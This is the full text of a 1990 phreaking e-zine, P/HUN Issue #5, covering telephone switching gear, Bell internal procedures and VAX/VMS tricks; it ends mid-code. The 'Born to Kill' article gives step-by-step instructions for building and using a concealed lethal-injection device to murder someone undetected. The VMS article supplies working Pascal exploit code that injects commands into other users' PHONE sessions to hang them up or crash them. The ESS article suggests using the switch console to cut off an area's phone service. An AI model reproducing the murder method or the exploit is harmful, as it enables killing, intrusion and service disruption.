()---------------------------------------------------------------------------() P/HUN Issue #5 Articles [14] Released 5/07/90 Comments: PHUN #5 P/HUN MAGAZINE Issue #5 ----------------------- P/HUN Magazine Inc., Productions -------------------------------- Phile #1 of P/HUN Magazine Issue #5 ------------------------------------ Hello and welcome to Issue #5. As you may have noticed our BBS went down a couple of months ago. Since we no longer have a BBS, P/HUN Issues can regularly be found on these boards: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The Uncensored BBS - (914)761/6877 Demon Roach Underground - (806)794/4362 CLLI Code BBS - [leave mail at clli@m-net.ann-arbor.mi.us for access] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >>>ANNOUNCEMENT<<< The CLLI Code BBS (above) is highly recommended by us. It deals with all aspects of telecommunications and computer security. We suggest our readership contact them for access. >>>ANNOUNCEMENT<<< The first issue of Cybertek Magazine(hardcopy) was just published some weeks ago. We reviewed it, and thought it was fantastic. We rate it as a magazine with exceptional qualities and obviously with high potentials. The new magazine covers various aspects of telephony, radio, chemistry, security and survival. We would like to point out that this is not solely a 'hacking magazine' however various aspects are covered. Cost $1.80 per Issue // Subcriptions are $10 per year Send to: -------- Cybertek Magazine P.O BOX 64 Brewster, NY 10509 Mr. Icom (editor) can be contacted at the bulletin boards listed above. o--------------------------------------------------o We would like to thank the members of SSWC (The Technician, Cellular Phanton and Chance ) for contributing their first class research reports to this issue. Their reports are truly educational and innovative as you will see. A special thanks goes to Bandito, Baliord, Jack the Ripper, Lord Micro, Seeker and The Ring Master. If you wish to contribute articles to P/HUN you can contact us at the boards listed above or on our Usenet address. Enjoy! Red Knight P/HUN Magazine Inc. Usenet Address: phunmag@dasys1.UUCP =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # Phile Description Size Author or Group - ------------------------------------------------ ---- --------------- 1 Introduction 1k Red Knight 2 Peering the soul of ESS - Master Control Center 11k Jack the Ripper 3 Born to Kill - The Art of Assasination 5k Jack the Ripper 4 SSWC Bell Research Report Volume #1 7k SSWC 5 SSWC Bell Research Report Volume #2 12k SSWC 6 Baliord VMS Tricks Volume I: PHONE 15k Baliord 7 Baliord VMS Tricks Volume II: DOOR 12k Baliord 8 (O)perator (S)ervices (P)osition (S)ystem - 5ESS 23k Bandito 9 The Crossbar Switching Guide [Xbar No. 5] Part I 8k Xbar Switchman 10 SSWC Bell Research Report Volume #3 10k SSWC 11 Carrier 900/700 Services 5k Tone Tec 12 Legion of Doom Indictments [Chicago Members] 18k TELECOM Digest 13 Card Reader Access System (Card Key) 2k The Ring Master 14 S.S.T.C - LMOS GUIDELINES 3k The Trasher 005 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ____________________________________________________________________________ | | | "Peering into the Soul of ESS - The Master Control Center" | | | | Written By - Jack The Ripper | | | | Organized Crime (OC) | | Phile #2 of P/HUN Magazine Issue #5 | |____________________________________________________________________________| The Master Control Center is undoubtably the very essence of ESS. The Master Control Center (MCC) is the operational, maintenance, and administrative core of the electronic switching central office. This unit is what the ESS operators use to control the ESS switch. It test's customer lines and trunks, alarms to indicate malfunctions, perfroms system testing functions, controls operations, contains the magnetic tapes for recording Automatic Message Accounting (AMA) data, and contains various other specialized equipment. Primary Components of the MCC ----------------------------- Master Control Console Trunk and Line Test Facilities Teletype (Teletypewriter) Channels AMA Recorders DATASPEED -40 Terminal with Display and Printer [---------------------------------------------------------------------------] [ Diagram of Processor Display Panel of Master Control Console in No.1A ESS ] [---------------------------------------------------------------------------] _______________________________________________________________________________ | Processor Display | PS Bus | Pu Bus | CS Bus | AU Bus | | | Ad Re Ad Re| Ad Re Ad Re| Ad Re Ad Re| Ad Re Ad Re| ------------------------------------------------------------------------------- |_____________________________________________________________________________| ||CC0 | ac| tr| po| st| of|| 0| 0| 1| 1|| 0| 0| 1| 1|| 0| 0| 1| 1|| 0| 0| 1| 1| ||----------------------------------------------------------------------------| || ltllh |====================================================================| ||-------|--------------------------------------------------------------------| || ltllh |====================================================================| ||____________________________________________________________________________| ||CC1 | ac| tr| po| st| of|| 0| 0| 1| 1|| 0| 0| 1| 1|| 0| 0| 1| 1|| 0| 0| 1| 1| ||----------------------------------------------------------------------------| || || || || || | || -------------------------------------------------------- | || |meno|kc || ||meno|kc || || | || |------------||___________||------------||___________||------------| || |02| |36|ntce|| 0! 0! 1| 1||02| |05|ntce|| 0| 0| 1| 1||fs|df|ft|df2| || -------------------------------------------------------------------| || | || || || | || | seno || || seno || | || | ---- ----|| || ---- ----|| | || |ps|0|2| |ii || ||ps|0|2| |lh || | || | ----- ----|| || ----- ----|| | ||----------------------------------------------------------------------------| || Update || OverRide Control || SysR || Processor Configuration Seq. | || || || || state counter | || ----- ||------------ -----||-----------||--------------- ----- | || |inp| ||bl|au|ps|cc| | no ||rea|ena|err||p3|p1|8|4|2|1|| |rec| | || ----- ||------------ -----||-----------||--------------- ----- | || ----- ||------------ || || | || |fs0| ||vr|a1|p2|c1| ||___________|| | || ----- ||------------ || || | || ----- || Activate|| ||Activate | || |fs1| || ---- ---- || ----- ||------ ------------------| || ----- || |x1| |x2| || |inv| ||q1|q2| |w1|w2|w3|w4|w5|w6| || || ---- ---- || ----- ||------ ------------------| || || || || | ||_________||__________________||___________||________________________________| Key --- w6 = Prssr Comfg w5 = Prgm Store w4 = Call Store w3 = Basic Prssr w2 = Reptd Pc w1 = Pc Atmpt x2 = Ovrd Efct x1 = Vrbl PS1 q2 = Dsble Auto q1 = PC fs1 = FS 163 c1 = CC1 p2 = PS Bus 1 a1 = AU Bus 1 vr = Vrbl PS 0 fs0 = FS 062 rec = Reset Cntr p1 = Pmp 16 p3 = Pmp 32 err = Error ena = Enable Data rea = ready no = No Ovrd cc = CC D ps = PS Bus 0 au = Au Bus 0 bl = Blk 0 Ps 0 inp = In Prgs SysR = System Reinitialization lh = LHIJI ii = IIOLI seno = Select No. (Select Number) df2 = Disk File 1 ft = FS 1 Trbl df = Disk File 0 fs = FS 0 Trbl meno = Member Number kc = K-Code || = Separates different Status Bars ie PS Bus, Processor Display, and Au Bus ac = Active tr = Trble po = Power st = Stop of = Offline +++ Added note on the key is that the abbreviations on the key are exactly the same as they appear on the panel. As you can see the MCC panel is divided up into five main groups of keys and lighted or LED displays; processor display, update, override control, system reinitialization, and processor configuration sequencer. The update group of keys and displays permits personnel to check when a program update is in progress. The override group of switchs and displays allows personnel to manually activate a central control unit, auxillary bus unit, and program store buse for emergency system recovery. The system reinitialization keys and displays allow personnel to manually reinitialize the system in conjuction with the override control or processor configuration sequencer group of keys. Workings of the MCC and Points of Interest ------------------------------------------ Now that you have a little background information on the MCC, and are familiar with the MCC Console we can talk about the MCC a little more. The MCC can be used to remove from service all outgoing trunks, customer lines, and service circuits. This would be an interesting project next time your at your local CO to stop all service to an area. The MCC is capable of flagging pernament signals i.e. busy signal (black box on electromechanical or crossbar offices) . The master testing circuit can be connected to any outgoing trunk, service circuit, and most often any customers lines for testing purposes. Also the MCC can be connected to any voltmeter to test any customers line, service circuit, or outgoing trunk. The MCC also interacts with Remote Switching Systems to perform various testing functions to detect bad circuits and potential future problems i.e. a decaying circuit or two. AMA in the MCC -------------- The Automatic Message Accounting recorder is located on the MCC and stores "customer billing information " on magnetic tapes. One 2,400 ft reel of tape stores the billing data for 100,000 calls a day. These tapes however are backed up by duplicates to ensure against failure or billing error although it does happen, and the two copies are sent to a DPC (Data Processing Center) for analysis in computing customer bills The data that is to be stored is selected by the call processing program, which deceides whether or not the information for a call is to be stored. Then the data is temporarily stored in the AMA register (full capacity of the AMA register is 230 bits each) call store, and after completion of the call the related data is assembled in the BCD (Binary Coded Decimal (see Binary Number System for Decimal Digits Diagram)) format and placed in the AMA buffer call store. Binary Number System for Decimal Digits --------------------------------------- Decimal Four Digit Binary Code Number A B C D <8> <4> <2> <1> ----------------------------------------- 0 0 0 0 0 1 0 0 0 1 2 0 0 1 0 3 0 0 1 1 4 0 1 0 0 5 0 1 0 0 6 0 1 1 0 7 0 1 1 1 8 1 0 0 0 9 1 0 0 1 10 1 0 1 0 11 1 0 1 1 12 1 1 0 0 13 1 1 0 1 14 1 1 1 0 15 1 1 1 1 The recording procedure is then started by an AMA program in program store when the AMA buffer in call store is fully loaded. The AMA buffer has a full capacity of 140 words of 23 bits each. The AMA program will cause central control to direct that the data be transferred one word at a time to the AMA circuit for recording on the tape. Suggested Reading ----------------- Basic Carrier Telephony, Third Edition by David Talley Basic Telephone Switching Systems, Second Edition by David Talley Anything Else by David Talley he wrote a few more. He is one of the best telecommunications authors, and all of this information was born into me through him. His books are also written with quesitons in the back which helps you to learn the information. Next time some moron throws an infoform at you asking what ESS is you can quite simply say something rude like, "Are you talking about the program interruptions in a No.1A ESS office which occur every 1.4 microseconds due to the system clock providing of course that it is running off of a 1A processor and hasn't been modified in any way, and is running stock software?" That outta get em eh? =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= _____________________________________________________________________________ | | | Born to Kill - The Art of Assassination | | | | Part I | | | | Written by - Jack The Ripper (OC) | | | | London at Midnight- 713-523-3733 | | Phile #3 of P/HUN Magazine Issue #5 | |____________________________________________________________________________| This is a series solely written from pure genius. You will not find the methods outlined here in any book or any other publication. They are for informational purposes only, and are not to be used. The method I will outline here will consist of two parts. The first part is the construction of a lethal injection device. The second part will discuss how to turn this device into a totally harmless looking device that kills quickly, silently, and effectively. Construction of a Lethal Injection Device ------------------------------------------ Materials Needed ---------------- Deadly Toxin i.e. air, cyanide, etc... (no specifics are outlined) Larger syringe if superimpostition is needed. 5 cc or less size syringe with a 3/4 inch needle if unavailable superimpose. a syringe that's body fits loosely in an emptied cigarette. Superglue if superimposition is needed. Cigarette Pack 100's preferably Preparing the Syringe --------------------- 1) Totally disassemble the syring you will be working with the two parts. mainly 2) Skip if needle is 3/4's of an inch. Break the needle off of the larger syringe. Now place glue around the base of the smaller syringes needle not much just a dab or two. Place the larger needle over the smaller needle so that it extends it out to the full 3/4's of an inch. 3) cut the length of the syringe (the body only! not including the needle) down to 1 and 1/2 of an inch with a hacksaw so as to make a clean cut. 4) Now take the push stick or the handle of the syringe and cut off the tip of it, and cut the body down so that it is 1 and 1/2 inch's long. 5) What you should have now is a push stick that is 1 and 1/2 inchs long and fits just inside the syringe which is 1 and 1/2 inchs long, and a needle that is 3/4's of an inch long. The whole contraption should be 3 and 3/4's of an inch enough to fit in a 100 cigarette easily. Preparing the cigarette ----------------------- 1) Remove the filter from the cigarette by twisting it off, and then throw the long part of the cigarette away. The paper should extend about 1/4 of an inch from the filter, and try not to rip it. The paper normally extends a little bit naturally. 2) Take your tweesers and pick out the filter from the inside of the cigarette leaving a little bit about 1/4 inch of the filter to cover the end of the cigarette. 3) Now take another cigarette and tear off the long part, and empty out the tobacco saving it for later. 4) Now you should have an empty hollow cigarette shell. A bored out filter with 1/4 of an inch of the ending left on. 5) Now glue the long hollow part of the cigarette back to the filter and let it dry. Arming the Contraption ---------------------- 1) Now place the toxin into the body of the syringe with the needle on it of course. 2) Place the pushstick over it extended. 3) Place the setup into the cigarette with the back of the push stick touching the filter. 4) Fill the remaining space of the cigarette with the leftover tobacco. How to Use ---------- 1) Light the cigarette since the needle end will be filled with a good portion roughly 1 minute 15 seconds of burning tobacco. 2) Walk by the victim and burn him/inject him by pushing down on the filter of the armed cigarette. 3) The victim will think it was just a cigarette burn call you an idiot and walk away. Notes ----- 1) You might have to experiment with the lengths to get it just right. 2) Only use 1 cc or less of toxin or the victim might notice that something funny is going on before he dies. 3) Test it before you use it. Cigarettes are a dime a dozen. 4) Never throw it away near the site. 5) Destroy it after it's use since plastic melts this is easy then throw it in a gutter or a junkyard. 6) Be careful not to scrape yourself. 7) The burn will take care of the pain, so he/she shouldn't notice a thing. 8) There will most likely be an inquest especially when normal people just drop dead and die. 9) Try to use slow acting 15-30 minute toxins that are lethal in small doses. Toxins for Use -------------- 1) The Simplest toxin to use is air. An air bubble in the brain causes death and there is no way in hell a coroner can detect foul play unless he is looking for it. Not to mention there will be a burn blister over the injection hole, so it will not be noticed. 2) Be creative think of something. Conclusion ---------- In conclusion I would like to add that there are many toxins for you use. There are hundreds of other viable options out there just waiting to be discovered. =-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= | SSWC - Bell Research Report (Vol I) | |------------------------------------ | | Phile #4 of P/HUN Magazine Issue #5 | =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= All research gathered, tested and mastered by the original members of SSWC: Chance - The Technician - Cellular Phantom This text will give you an in depth look at some unexplored operating departments located in the Bell System. As well as newly discovered equipment and electronic devices used by Bell Technicians. Note that information in this file is subject to change. However, we will try to keep you updated as much as possible. There are many different types of acronyms used in this text. You will find a list these acronyms at the end of this file. We will begin the file by discussing a mechanical/electronic device used by the Cable Transfer Administration (CTA) known as a Transfer Switch. This device is specifically used to verify a working line on both the "from" cable pair and the "to" cable pair through the backtap, and is transparent to the customer (in other words the device is unnoticeable to the customer). Although the Transfer Switch itself is located at the CO, CTA is responsible for the maintenance and upkeep of the Transfer Switch. Next we will discuss a department of Bell known as the Distribution Service Design Center (DSDC). The Cable Transfer Representative (this person is a clerk for DSDC), will prepare the Cable Transfer Schedule and assist the other representatives in coordinating telephone line repair and completion dates. The engineering job schedule, service requirement dates, pending or potential held orders, age of job, etc, will determine the priority of each scheduled completion date. It is the responsibility of DSDC Transfer Representatives and Committees to provide a splicing sequence and resultant fill on an Engineering Work Order (EWO). The DSDC will determine the number of "Plain Old Telephone Service" (POTS) circuits and special and designed services on the EWO. They will help determine if the rearrangements and changes incorporated in the EWO will necessitate a design review by the Circuit Provision Center (CPC). The DSDC will forward to the CPC old and new line makeups for designed service. The DSDC scheduling engineer is responsible for reviewing old and new EWOs involving cable, line, or station rearrangements and for establishing the time needed for job completion. After reviewing old work orders, the DSDC shall do one of the following: 1. Reschedule the cable, line, or station transfers. 2. Initiate a revision of the transfer so it will be compatible with existing conditions. 3. Issue a cancellation of the particular transfer in question. The Circuit Provision Center (CPC) involves cable, line, or station transfer procedures when it is presented a notification of a cable transfer and an indication that special services are involved. The CPC will receive notification from the DSDC that a circuit change will be required. The notification document will provide the CPC with: A. Project number and expected record issue date (RID) and due date B. Common language circuit identification (CLCI) C. Old assignment and makeup D. New assignment and makeup. It is the responsibility for The Frame Control Center (FCC) and affiliated representatives to contact each CO involved in a cable transfer and will be a member of the Cable Transfer Committee (CTC), and will attend committee meetings. The CTC will also make frame cross-connect activity completion commitments. Placing and removing front-tap connectors, sending tone, and connecting automatic taggers and Central Work Group (CWG) talk pairs shall be the responsibility of the FCC. Upon receiving of either the Exchange Customer Cable Record (ECCR), Computer Systems for Mainframe Operations (COSMOS) printouts, or local forms from the Loop Assignment Center (LAC), the Central Office Work Group (COWG) shall make a verification and test of the transferring cable counts and resolve all record problems with the LAC. The COWG will use the following procedures for verification and test: 1. Verify the telephone number on all working pairs in both the "from" and "to" counts and check for any vacant pairs not listed. 2. Test all vacant pairs in the "to" count, using the Go/No-Go test set or equivalent. 3. Any discrepancy found as determined in (1) or (2) shall be posted and the forms returned to the LAC on or before the scheduled completion date for verification and pretest as shown on the transfer schedule. Note: Verification and pretests are extremely important in preventing future service interruptions, unresolved discrepancies, and cost delays. (In other words this is done so Bell won't loose a dime of their precious "millions". After placing the backtaps, the COWG must validate that the backtaps are correct and any work or record problems found, will be corrected by the COWG and forwarded to the LAC for updating records. In work locations where COSMOS is fully used, the transfer MUST be stated in COSMOS, when backtaps are placed or removed, by using the appropriate work code found in the COSMOS Frame Training Manual. * Note to the reader: All Bell departments discussed in in this text work together on a regular basis, generally when their is a problem with a cable transfer or with similar related equipment, the Bell departments will interact with each other in order to remedy the problem. This concludes SSWCs Bell Research Report (Vol I). The information contained in this file is solely for the use of those that FULLY understand what has been discussed. If you do not FULLY understand what has been discussed in this file, it is extremely advisable not to attempt to use any of this information, whereas you could cause an extreme negative impact on your knowledge as a Phone Hack/Phreak. Have a good time, learn what you can, but never think you know more than you do. To the novice this file is all technical BullShit. However to the Innovative its much, much more. GLOSSARY OF ACRONYMS: CLCI - Common Language Circuit Identification COSMOS - Computer System for Mainframe Operations COWG - Central Office Work Group CPC - Circuit Provision Center CMC - Construction Management Center CTA - Cable Transfer Administration DSDC - Distribution Service Design Center ECCR - Exchange Customer Cable Record EWO - Engineering Work Order FCC - Frame Control Center LAC - Loop Assignment Center POTS - Plain Old Telephone Service RID - Record Issue Date SSC - Special Service Center *** SSWC: Were just getting started... =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ================================================= = SSWC - Bell Research Report (Vol II) = = ------------------------------------ = = Phile #5 of P/HUN Magazine Issue #5 = ================================================= All research gathered, tested and mastered by the original members of SSWC: Chance - The Technician - Cellular Phantom SSWC presents our latest text file continuing our discussion on Bell Operating Departments. Note that information in this file is subject to change. However, we will try to keep you updated as much as possible. We will begin by discussing an important department of Bell, known as the Maintenance Center (MC) or Special Service Center (SSC). The MC is responsible for verifying and coordinating the transfer of special service activities between the Construction Work Group (CWG) and the Central Office Work Group (COWG). The MC or SSC will maintain control of all special service transfers. Note: When using an approved transfer switch, testing of Plain Old Telephone Service (POTS) services will be performed by the CWG. The MC meed only test services classified as type "B". (This type of classification is generally used on the Computer System for Mainframe Operation (COSMOS) mainframe). The MC will receive a copy of the cable transfer and associated work orders from the Loop Assignment Center (LAC) prior to the scheduled start date of the transfer. They will deal with any unrecognized problems (such as clearing defective pairs, if requested by the Distribution Service Design Center (DSDC), and giving notification of what pairs have been or cannot be cleared) that would require new pair count assignments. The MC shall arrange with the CWG, Frame Control Center (FCC), SSC, and other necessary departments for the transfer of special and designed services that require release or special handling. During the transfer of these services, the MC will maintain communication with all personnel involved in the transfer activity. The MC or SSC shall coordinate the release and transfer of special and designed services designated as "B" services. The time and date for each service release shall be recorded on the MC copy of the Special Service Protection List and Defective Pair List. Note: Time and date of release must be negotiated in advance of the cable transfer. No work shall be permitted on service requiring a release until a method of procedure, including release date and time and personnel required, has been established by the MC and approved by the customer and SSC control office responsible for those services. When the MC receives work of those specific or out-of-the-ordinary release requirements, the Construction Management Center (CMC) supervisor, FCC supervisor, and other necessary work group supervisors must be notified in advance so they can begin work on the transfer. The MC shall test all affected special and designed services completed by the CWG as the transfer progresses. The CWG need not wait for verification by the MC, unless problems are encountered. The CWG will inform the MC of progress. The MC shall have the authority to stop the transfer procedures at any time if extensive trouble reports develope. If this occurs, the MC supervisor will lead an investigating committee to determine the cause of trouble and to recommend corrective action. After all work is completed, the MC will issue a final closing number for the completed transfer. The MC will notify the FCC that the transfer is complete and will give them the closing number. The MC will post the Cable Transfer Form as complete and will forward the transfer, including changes, and Defective Pair List to the LAC. We will now discuss the uses of the Cable Transfer Administration (CTA), and how they operate at a successful level. The general functions and responsibilities of the CTA work group is to provide flexibility in the design of the cable network, existing cable pairs are transferred for one cable count to another cable count. This is commonly referred to as a cable transfer or cable throw. The transfer occurs in a splice and involves disconnecting pairs of wires beyond the splice from one feeder cable count and reconnecting then to a different feeder count. The result is that the count of the pairs beyond the splice will change. The configuration, identification, and possible transferring of working cable pairs are complex and time-consuming. The work is further complicated by the many functions required of other work groups. To ensure that these operations are performed free of service interruptions and with maximum efficiency, timing and close coordination among all the work groups involved are mandatory. The same coordination is required to complete drop wire re- connections (line transfers). The Cable Transfer Committee (CTC) is also responsible for organizing this work in a timely manner. As soon as practical, after the line transfer have been completed, the old cable should be cut off and removed. (Their is more hardware work involved in this process, however we regret that we have not yet been able to fully research and understand what further hardware applications are used). In order for the Cable Transfer Committee to obtain a high degree of transfer efficiency, all committee members must attend committee meetings on a selective basis and monitor the published minutes (in other words review information from past meetings). Higher management will be able to evaluate the effectiveness of the transfer committee. The number of jobs completed as scheduled and the ability of the committee to identify problems should be monitored as a measure of committee success in scheduling and completing cable transfers. The use of these procedures will reduce customer trouble reports and the overall cost of cable and line transfers and will permit balancing the work force and work load for all groups involved. By completing cable transfers promptly, in accordance with the time schedule, changes to transfer sheets will be minimized, the need for rerunning cables will be reduced, testing cables can be properly scheduled, and time spent on field work can be shortened. The errors, frustrations, and probability of cable troubles associated with delays in this kind of work can be virtually eliminated. A Cable Transfer Committee must be established in each network distribution service/construction district to ensure close coordination and proper timing of cable, line, or station transfers. Districts that cover a large service area (having more that one Loop Assignment Center or Maintenance Center) may require more than one committee. When scheduling transfers, consideration must be given to work tours and peak load periods (busy times of the week) of all work groups to optimize the continuity of the cable transfer activity. Consideration must also be given to time required by the CWG to complete preliminary work, by the LAC to analyze and lay out the transfer, by the Circuit Provision Center (CPC) to check the design of special services, by DSDC, Construction Management Center (CMC), and installation to make the resulting changes, and by the MC and/or SSC to negotiate with special service customers. The Cable Transfer Committee must negotiate all completion dates. The transfer committee chairperson will monitor and take action on excessive time intervals for all work groups. Transfers that involve an extremely large number of working circuits may require scheduling in smaller segments. Transfers should be scheduled to maintain continuity until wire work is completed. The committee is responsible for all special scheduling. Offices with mechanized assignment records such as COSMOS or TIRKS require more strict scheduling due to transaction restrictions. Sequence transfers and the reusing of counts cleared on previous transfers may also require more strict scheduling. Cable transfers worked via COSMOS must be closely monitored to avoid long-term storage of cable transfers in the data base. Long-term storage causes changes for the FCC and CWG, thereby causing lost time. The committee will make preliminary arrange- ments for the transfer of special and designed services. The LAC will provide a list of all special services, by Common Language Circuit Identification (CLCI), that are in the affected cable count to the DSDC prior to scheduling the transfer in the firm period. The DSDC will forward the list to the CPC along with the new and old cable makeup for the reissuance of new Work Order Record Detail (WORD - The work authorization and layout card for designed special services) documents and redesigns, if necessary. After the new WORD documents are received, the FCC will bring the Work Authorization (WA - The first page of the WORD document) to the CTA committee meetings. The WA copy will contain the work description and associated notes for the transfer and, most important, will give the circuit classification code "A" or "B". Next we will discuss information concerning the Telephone Outside Plant. This brief discussion will inform you exactly what path cables take from the CO to the subscribers residence. This path is as follows: 1 Main Distributing Frame (MDF) 2 Tip Cables 3 Cable Vault 4 CO Manhole 5 Main Conduit 6 Subsidiary Conduit 7 Insulated Joint 8 Main Distributing Terminal (MDT) 9 Riser Cable 10 Distributing Terminal 11 Anchor Guy 12 Aerial Cable Cross Connecting Box 13 Telephone Company Owned Pole 14 Aerial Cable 15 Strand (one cable) 16 Joint Use Pole Electric or Telephone 17 Terminal 18 Splice 19 Electric Wires 20 Urban Wires 21 Dropwire 22 Main U.G. Cable 23 Stub 24 Rear Wall Cable 25 Buried Cable 26 Cribbing 27 Block Pole After completing this sequence the cables will then run into the residence, providing telephone service. * Note to the reader: In order to gain maximum knowledge from this file, it is suggested that you obtain and study our first file. This concludes SSWCs Bell Research Report (Vol II). The information contained in this file is solely for the use of those that FULLY understand what has been discussed. If you do not FULLY understand what has been discussed in this file, it is extremely advisable not to attempt to use any of this information, whereas you could cause an extreme negative impact on the rest of the the Hack/Phreak community. Have a good time, learn what you can, but never think you know more than you do. To the novice this file is all technical BullShit. However, to the Innovative, its much, much more. * SSWC: The leader in innovative phreaking! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Baliord's Stupid VMS Tricks Vol 1: PHONE ---------------------------------------- By Baliord Phile #6 of P/HUN Magazine Issue #5 This program is the culmination of about a month's research, debugging, and coding. Any bugs in it are my fault, but I am not liable for them since I am not running it (or compiling it) on your system. You accept all responsibility for the execution of this program by compiling it. This program is meant to show what CAN be done with the VAX/VMS PHONE program, and is a working program solely for the purpose of showing that it CAN be done. Sometime in 1986 or 1987, a friend of mine quit a job working with a record company. In the process of leaving, he managed to pick up a copy of the VAX/VMS 4.0 source code on microfiche. Since then, he has gotten 2 more editions. He unfortunately doesn't understand the code, but just likes to have it around as proof of his "abilities." Once he acquired a second copy of the code, I requested his earlier edition. He gave it to me freely. In the middle of 1988, a "user" at my local college approached me and said that his PHONE conversations were being tapped. I laughed, and told them that it was impossible. They persisted, and thus I foraged into the realm of VMS PHONE discovery. Upon reading the source code for PHONE, I discovered that it was the funniest, and most interestingly written (and commented) program in the deck. I discovered that, 1) PHONE was designed with a RECORD feature that would allow users to record conversations (and inform the other party that a recording was occurring), and that 2) the mailboxes created by the phone program were completely world accessible, as well as being easily discovered; and that 3) for some reason DEC had commented out ONE LINE from PHONE, making it unable to RECORD, but still including the code to do so in the program. The other thing that was in the PHONE source was a list of the control codes that would force the program to do various things. Surprisingly, the commands typed at the keyboard were treated the same as characters recieved through the mailboxes. Needless to say, I immediately started considering ways to access them. After a bit of debugging, hacking, and causing some horrible errors to appear on other people's terminals, the program here was written. The first program is the actual PASCAL source code for the message sender; the next program is the .CLD file you should create to use the program; the next thing is a list of the format and the method used in creating your own file to send. The last file is a few sample files to be created to demonstrate the things that can be done. An interesting point is that the CALLING user creates the mailbox FOR the called user. This means that an answering machine program can be written that will recieve messages, and hang up without needing the user to watch over it. Of course the user must be logged in, but they need not recieve phone calls to get their messages! I have written a program to do this, and it may be published in the future. Oh yes, the method for finding out what users are currently using the phone system is to: SHOW LOG PHN$*/SYS This works because PHONE creates systemwide logical names formatted as PHN$. The following is the method for using the PHZAP program... Lines that begin with ';' are comments... $ SET COMMAND PHZAP ; This enables the command... $ SHOW LOG PHN$* "PHN$GOD" = "_MBAxxx" "PHN$DEVIL" = "_MBAxxx" ; As I just said, that lists out who's using the system... $ ZAP GOD/TYPE=MSG/MESSAGE="Personally? I think you goofed off for six days" $ ZAP GOD/TYPE=MSG/MESSAGE=" then pulled an all-nighter!~" ; Drops up the message on His screen. $ ZAP DEVIL/TYPE=MSG/MESSAGE="\And I said, Let There Be Light! And YOU got" $ ZAP DEVIL/TYPE=MSG/MESSAGE="hung up!" $ ZAP DEVIL/TYPE=CMD/MESSAGE="HANGUP" ; Places the message on It's screen, then forces It to HANGUP. $ ZAP GOD/TYPE=CMD/MESSAGE="HELP SWITCH_HOOK" ; This command teaches Him a bit about Switch Hooks, by forcing Him into ; help... -------------------------------------------------------------------------- If you get the feeling that I'm a bit anti-religious, and that those capital letters are smotheringly sarcastic... You're smarter than you look! --------------------------------------------------------------------------- PHZAP.PAS follows: [ INHERIT( 'SYS$LIBRARY:STARLET' ) ] {*************************************************************************} {* If you are going to use this program, please leave this message *} {* in the file. When referring to this program, give credit where *} {* credit is due. *} {* -- Baliord *} {*************************************************************************} program Phone_Phool(output,phzap); const max = 132; type string_type = VARYING[ MAX ] OF CHAR; word_type = [ word ]0..65535; var MAILBOX_NAME : STRING_TYPE; mailbox_channel : word_type; MsgStr,Send_File, command, mailbox_device_name : string_type; length : integer; phZAP: text; [external,asynchronous] procedure cli$get_value ( entity: packed array [$L7..$U7:integer] of char := %immed 0; var retdesc : Varying [$R0] of char) ; external; [ asynchronous ] function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char; %ref name_length : integer := %immed 0; %descr equivalence : varying[ l2 ] of char; %ref table : integer := %immed 0 ) : integer; external; [external,asynchronous] function cli$present( entity: packed array [$L7..$U7:integer] of char := %immed 0):Integer; external; { The following procedure checks to find out who you want hit with a message, and opens their phone mailbox and sends the command to it. } Procedure Send(Command:String_Type); Begin Cli$get_value('USER',Mailbox_Name); Mailbox_Name:='PHN$'+Mailbox_Name; if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>ss$_normal then writeln( 'Mailbox ', mailbox_name, ' does not exist.' ) else begin mailbox_device_name.length := length; $assign( mailbox_device_name, mailbox_channel ); { Assign channel } $qio( , mailbox_channel, io$_writevblk + io$m_noformat + io$m_now, ,,, command.body, command.length, ); { Send command. } end; End; { This procedure adds the "smb_cmd" (symbiont Command) function to the beginning of a message. This forces the message you send to be interpreted by PHONE as a command typed by the user. } Procedure Snd_Cmd(Y:String_Type); Var X:Integer; Begin Y:=Y+chr(13); Y:=chr(3)+Y+chr(0); Send(Y); End; { Here we convert the string from the plaintext given by the ZAPper to the string that will be sent to the poor desperate user. It converts the '~' character into a carraige return, the '\' into a ^L (which clears the screen) and the "|" into a ^W which repaints the screen. } Procedure Snd_Msg(Y:String_Type); Var X:Integer; Begin X:=1; While X<>0 do Begin X:=Index(Y,'~'); If X<>0 then Y[X]:=chr(13); End; X:=Index(Y,'\'); If X<>0 then Y[X]:=chr(12); X:=Index(Y,'|'); If X<>0 then Y[X]:=chr(23); Y:=chr(2)+Y+chr(0); Send(Y); End; Begin (** MAIN PROGRAM **) if cli$present('MESSAGE')<>229872 then cli$get_value('MESSAGE',msgstr); { If the person is sending a message then it will be in the MSG area. } if cli$present('TYPE')<>229872 then cli$get_value('TYPE',Send_File) else Send_File:='ACCVIO.PHN'; { If the /TYPE= is not specified then it tries to force the user's PHONE program to crash with an ACCESS VIOLATION... (a nice, frightening trick to play on a poor user. It is normally possible to send a file through this command, BUT you must know the format... } IF SEND_FILE='CMD' then SND_CMD(MSGSTR) ELSE If Send_File='MSG' then SND_MSG(MsgStr) Else BEGIN if Index(Send_File,'.')=0 then Send_File:=Send_File+'.PHN'; Cli$get_value('USER',Mailbox_Name); Mailbox_Name:='PHN$'+Mailbox_Name; if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)> ss$_normal then writeln( 'Mailbox ', mailbox_name, ' does not exist.' ) else begin 